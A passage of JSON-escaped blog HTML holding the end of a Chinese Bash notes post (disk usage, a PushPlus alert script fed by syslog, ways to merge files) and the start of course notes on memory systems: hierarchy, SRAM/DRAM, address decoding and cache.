class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e❯ sudo \u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0 ./motd-news\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1.4M ./apparmor\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2.0M ./man\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20K ./snapd\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e228K ./fontconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3.8M ./debconf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32K ./ldconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./pollinate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./private\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./PackageKit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./apache2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./app-info\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e971M ./apt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"用PushPlus集成事件通知服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%94%A8PushPlus%E9%9B%86%E6%88%90%E4%BA%8B%E4%BB%B6%E9%80%9A%E7%9F%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"用PushPlus集成事件通知服务\"\u003e\u003c/a\u003e用PushPlus集成事件通知服务\u003c/h3\u003e\u003cp\u003e这个脚本读取第一,二个命令行参数,然后发送通知。可以跟其他工具串一块,简单实现服务器监控报警功能:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=PUSH_PLUS_TOKEN\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejson=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e单行脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -F /var/log/syslog | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e | \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e bash /path/to/pushplus.sh \u003cspan class=\"string\"\u003e\u0026#34;服务器异常日志\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193751.png\" alt=\"添加一个“错误”消息\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193904.png\" alt=\"发送成功\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193940.png\"/\u003e\u003c/p\u003e\u003cp\u003e测试就完成了。然后直接nohup丢到后台,就能很方便地实现异常告警了。\u003c/p\u003e\u003ch3 id=\"文本文件合并\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6\" class=\"headerlink\" title=\"文本文件合并\"\u003e\u003c/a\u003e文本文件合并\u003c/h3\u003e\u003cp\u003eThis is technically what \u003ccode\u003ecat\u003c/code\u003e (“concatenate”) is supposed to do, even though most people just use it for outputting files to stdout. If you give it multiple filenames it will output them all sequentially, and then you can redirect that into a new file; in the case of all files just use \u003ccode\u003e./*\u003c/code\u003e (or \u003ccode\u003e/path/to/directory/*\u003c/code\u003e if you’re not in the directory already) and your shell will expand it to all the filenames (excluding hidden ones by default).\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ cat ./* \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eMake sure you don’t use the \u003ccode\u003ecsh\u003c/code\u003e or \u003ccode\u003etcsh\u003c/code\u003e shells for that which expand the glob \u003cem\u003eafter\u003c/em\u003e opening the \u003ccode\u003emerged-file\u003c/code\u003e for output, and that \u003ccode\u003emerged-file\u003c/code\u003e doesn’t exist before hand, or you’ll likely end up with an infinite loop that fills up the filesystem.\u003c/p\u003e\u003cp\u003eThe list of files is sorted lexically. If using \u003ccode\u003ezsh\u003c/code\u003e, you can change the order (to numeric, or by age, size…) with glob qualifiers.\u003c/p\u003e\u003cp\u003eTo include files in sub-directories, use:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . ! -path ./merged-file -type f -exec cat {} + \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eThough beware the list of files is not sorted and hidden files are included. \u003ccode\u003e-type f\u003c/code\u003e here restricts to \u003cem\u003eregular\u003c/em\u003e files only as it’s unlikely you’ll want to include other types of files. With GNU \u003ccode\u003efind\u003c/code\u003e, you can change it to \u003ccode\u003e-xtype f\u003c/code\u003e to also include symlinks to regular files.\u003c/p\u003e\u003cp\u003eWith the zsh shell,\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecat ./**/*(-.) \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWould do the same (\u003ccode\u003e(-.)\u003c/code\u003e achieving the equivalent of \u003ccode\u003e-xtype f\u003c/code\u003e) but give you a sorted list and exclude hidden files (add the \u003ccode\u003eD\u003c/code\u003e qualifier to bring them back). \u003ccode\u003ezargs\u003c/code\u003e can be used there to work around \u003cem\u003eargument list too long\u003c/em\u003e errors.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第四章-存储系统","time":"2023-05-31T21:55:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"4-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"4.1.概述\"\u003e\u003c/a\u003e4.1.概述\u003c/h2\u003e\u003cp\u003eCPU通过总线,和系统中各部分组件相连接。和它连接的硬件,其中就有一组由各部分组件构成的一个存储系统。此外还有其他通过“接口”和总线相连接的外设。接口中有着一些可编程部分,它们负责统一总线通信协议。\u003c/p\u003e\u003cp\u003eBIOS存储在一个固化的存储芯片中,负责引导系统开机。引导系统加载后,它跳转到系统的内存位置,结束任务。操作系统则负责加载自己的其余部分。\u003c/p\u003e\u003cp\u003e在这个过程中,CPU先从Flash取指令,再从主存MM中取指令,其中也会从硬盘加载指令来执行。\u003c/p\u003e\u003ch3 id=\"4-1-1-存储系统的层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-1-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"4.1.1.存储系统的层次结构\"\u003e\u003c/a\u003e4.1.1.存储系统的层次结构\u003c/h3\u003e\u003cp\u003e系统的存储体系属于金字塔型多级结构。从寄存器到Cache,MM,ROM,磁盘,设备的存储速度逐步下降,价格也逐步下降,存储空间也逐步增加。而这整个体系对于CPU而言是一个完整的体系,它们具有寄存器的速度,也具有磁盘的大容量。这就是依靠存储体系实现的。典型的存储体系\u003cstrong\u003e是一个三层结构\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e存储器的三大要求:大容量、高速度、低成本。这三者往往是矛盾的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本章的重点是Cache部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eCPU中的寄存器一般使用触发器实现。它集成度最低,容量最小,但是速度也最快。Cache使用SRAM实现,MM使用DRAM实现,BIOS使用ROM实现,辅存使用HDD实现,还有其他脱机存储器,比如磁带,光盘等。\u003c/p\u003e\u003cp\u003e现在,CPU内部的Cache也有多级缓存结构,例如L1 Cache,L2 Cache,L3 Cache。\u003c/p\u003e\u003cp\u003e系统的总线分为北桥和南桥,前者速度比较快,跟CPU相连更近;后者离CPU更远,因此更慢。不过现在南北桥已经集成到SoC(System on Chip)了,两个已经合成一个芯片。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601062558.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般存储体系有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache存储体系 由Cache和主存构成,主要为了提高存储器速度;对系统程序员以上均透明(不可见)\u003c/li\u003e\u003cli\u003e虚拟存储器系统 由主存和磁盘构成,主要是为了扩大容量;对应用程序员透明\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e透明的说法在这些计算机的书里很流行,它的意思不是说可见,而是说它本身和一块玻璃一样,不可被看见。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"存储器分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#%E5%AD%98%E5%82%A8%E5%99%A8%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"存储器分类\"\u003e\u003c/a\u003e存储器分类\u003c/h4\u003e\u003cp\u003e分类标准:介质、用途、信息易失性、存取方式(随机,例如RAM;顺序访问,例如顺序存取存储器SAM,直接存取存储器DAM)、读写功能(读写,只读)。\u003c/p\u003e\u003cp\u003e也可以如下分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本型存储器\u003cul\u003e\u003cli\u003e半导体\u003cul\u003e\u003cli\u003e易失RAM\u003cul\u003e\u003cli\u003eS(Static)RAM\u003c/li\u003e\u003cli\u003eD(Dynamic)RAM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e非易失ROM\u003cul\u003e\u003cli\u003eEPROM紫外线擦除\u003c/li\u003e\u003cli\u003eEEPROM($E^2ROM$)电擦除\u003cul\u003e\u003cli\u003eFlash闪速\u003cul\u003e\u003cli\u003eNOR随机访问,可存储固件\u003c/li\u003e\u003cli\u003eNAND只能顺序存储,可以做大容量存储器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e磁:磁盘\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e复合型存储器\u003cul\u003e\u003cli\u003e半导体:多端口、多体交叉、相联\u003c/li\u003e\u003cli\u003e磁:磁盘阵列(RAID)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-1-2-存储器的性能指标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-2-%E5%AD%98%E5%82%A8%E5%99%A8%E7%9A%84%E6%80%A7%E8%83%BD%E6%8C%87%E6%A0%87\" class=\"headerlink\" title=\"4.1.2.存储器的性能指标\"\u003e\u003c/a\u003e4.1.2.存储器的性能指标\u003c/h3\u003e\u003cp\u003e容量、速度(存取时间;存取周期;存储器带宽,单位时间存储器可以读出/写入的字节数,$B_m=\\frac{n}{t_m}$,分子是每次读写字节数,分母是存取周期)、可靠性、功耗、价格、体积、重量、封装方式、工作电压、环境条件等。\u003c/p\u003e\u003ch3 id=\"4-2-1-随机读写存储器RAM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-1-%E9%9A%8F%E6%9C%BA%E8%AF%BB%E5%86%99%E5%AD%98%E5%82%A8%E5%99%A8RAM\" class=\"headerlink\" title=\"4.2.1.随机读写存储器RAM\"\u003e\u003c/a\u003e4.2.1.随机读写存储器RAM\u003c/h3\u003e\u003col\u003e\u003cli\u003e内部译码结构:\u003col\u003e\u003cli\u003e一维译码:使用类似74138的译码器将地址对应到存储单元\u003c/li\u003e\u003cli\u003e二维译码:一个行选,一个列选,适合大规模存储器的译码\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e单元电路\u003col\u003e\u003cli\u003e静态读写存储器SRAM\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由6个晶体管实现,只要不断电,信息不丢失。初始加电,状态随机。电路中总有晶体管导通,功耗大,集成度不高。\u003cbr/\u003e 2. 动态读写存储器DRAM\u003c/p\u003e\u003cp\u003e四个晶体管实现。内部由电容维持电荷,因此需要定时读取刷新来保持数据。功耗低,集成度高。现在更新的DRAM可以只用一个晶体管和一个电容来实现,因此可以有更高的集成度。通过SenseAMP,可以根据电压变化来刷新存储器的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存构成 1. 单片存储器芯片的连接\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e引脚定义:Dn是数据线,An是地址线,OE是读开关,WE是写开关,CS是控制开关,也就是片选端口。\u003c/p\u003e\u003cp\u003e连接方式如图所示,特殊的部分主要集中在片选端口上。这部分电路叫做内存地址译码电路,它负责选择不同的芯片。注意,上划线的是\u003cstrong\u003e低电平有效端口\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e这里的重点就是地址范围分析。这个很简单,只需要让CS为低电平的信号作为高位,再去看低12位的地址总线就能看出来地址范围了。比如,下图的地址范围就是F0000H~F1FFFH这个地址范围。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601065833.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 2. 内存的字扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用$8K*8bit$的SRAM去构成32KB的内存,只需要让二者的位数对应上就行。比如这里就只需要4个这种规格的SRAM芯片。如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071051.png\"/\u003e\u003c/p\u003e\u003cp\u003e所有芯片的Dn和An、OE、WE都并联。而CS则由74138控制片选情况。这时就可以分析得到,从上到下四个芯片的地址范围分别是C0000\u003cdel\u003eC1FFF,C2000\u003c/del\u003eC3FFF,C4000\u003cdel\u003eC5FFF,C6000\u003c/del\u003eC7FFF。这称为字扩展。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存的位扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如,用$2K\u003cem\u003e4bit$的存储芯片构成$2K\u003c/em\u003e8bit$的存储芯片。这种接法如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071451.png\"/\u003e\u003c/p\u003e\u003cp\u003e也是用74138去进行片选,同时BHE也需要控制。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里经常会有内存范围的计算。计算地址范围的大小时,记得大地址减去小地址后加一。例如78000H到97FFFH,计算时就应该是用$98000H-78000H=20000H$,也就是$2^{17}$字节(一般都是\u003cstrong\u003e按字节编址\u003c/strong\u003e),因此需要$(2^{17}\\div 2^{10})KB\\div 2KB=64$片这样的芯片。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以参考这个例题食用:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601072428.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-2-2-只读存储器ROM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-2-%E5%8F%AA%E8%AF%BB%E5%AD%98%E5%82%A8%E5%99%A8ROM\" class=\"headerlink\" title=\"4.2.2.只读存储器ROM\"\u003e\u003c/a\u003e4.2.2.只读存储器ROM\u003c/h3\u003e\u003cul\u003e\u003cli\u003e特点:存储信息的非易失性\u003c/li\u003e\u003cli\u003e分类:\u003cul\u003e\u003cli\u003e掩膜型ROM\u003c/li\u003e\u003cli\u003e可编程ROM:PROM、OTP-ROM\u003c/li\u003e\u003cli\u003e可擦写编程ROM:(UV)EPROM、EEPROM、Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-2-3-动态存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-3-%E5%8A%A8%E6%80%81%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.3.动态存储器\"\u003e\u003c/a\u003e4.2.3.动态存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e一般的动态存储器DRAM:以Intel 2164A为例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e无论读写,地址都需要分两次来送。第一次时,给RAS一个下降沿,第二次,给CAS一个下降沿,来让芯片读取这两个地址。得到地址之后,芯片把数据送出数据线。这和如今的DRAM芯片一致。它\u003cstrong\u003e每隔2ms刷新一次\u003c/strong\u003e。只需要给RAS一个下降沿,就能刷新一行的DRAM。\u003c/p\u003e\u003cp\u003e这里可能会考到引脚相关的问题,如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074346.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e常用刷新方式:\u003cul\u003e\u003cli\u003e集中式:有概率会遇到死区(不可用时段),因为刷新时间会集中占用一个时段\u003c/li\u003e\u003cli\u003e分布式:更短的刷新周期,将刷新的周期均匀分布到读取时间段。但是内存访问时延变长了\u003c/li\u003e\u003cli\u003e异步式(最常用):$Row\\div T_{Refresh}$得到周期,再在每个周期最后刷新内存。它将刷新安排在指令译码阶段,不会出现死区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e同步动态存储器SDRAM\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eDDR SDRAM:上升和下降沿都能读写数据。\u003c/p\u003e\u003ch3 id=\"4-2-5-其他存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-5-%E5%85%B6%E4%BB%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.5.其他存储器\"\u003e\u003c/a\u003e4.2.5.其他存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e多端口存储器:DS1609,有两个数据端\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074730.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e多体交叉存储器:并行,提高读写性能\u003c/p\u003e\u003col\u003e\u003cli\u003e多体并行访问:80x86处理器内存组织\u003c/li\u003e\u003cli\u003e多体交叉访问:类似流水线的重复设置瓶颈段的操作,能大大提高性能。连续读m个数据,需要的时间:$T+(m-1)\\cdot \\Delta t$。类比于流水线的加速比,它也有加速比,$B=\\frac{1-(1-\\lambda)^m}{\\lambda}$。标量机中,m取2~8;超量机中,主存分体数可以超过32\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相联存储器:一种多路选择器构成的Key-Value形式存储器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602141355.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的用途有:Cache的目录表、页表的块表(TLB)等。\u003c/p\u003e\u003ch2 id=\"4-3-高速缓冲存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-%E9%AB%98%E9%80%9F%E7%BC%93%E5%86%B2%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.3.高速缓冲存储器\"\u003e\u003c/a\u003e4.3.高速缓冲存储器\u003c/h2\u003e\u003cp\u003e它是实现金字塔型存储体系的关键所在。它可以将上一部分频繁使用的部分存放在其中,以此来提高性能(这是因为它本身的速度就很快)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e局部性原理:时间/空间局部性,相关的变量,会在时间/空间上存在局部性比如循环变量,会存在时间局部性;相邻的数组元素,存在空间局部性\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602143757.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是Cache的作用:命中的话,直接使用;未命中Cache,则访问主存,并改动Cache。这一步得注意,由于Cache存在,就出现了数据不一致性,因此得控制好数据写回时机来保证数据一致性。\u003c/p\u003e\u003ch3 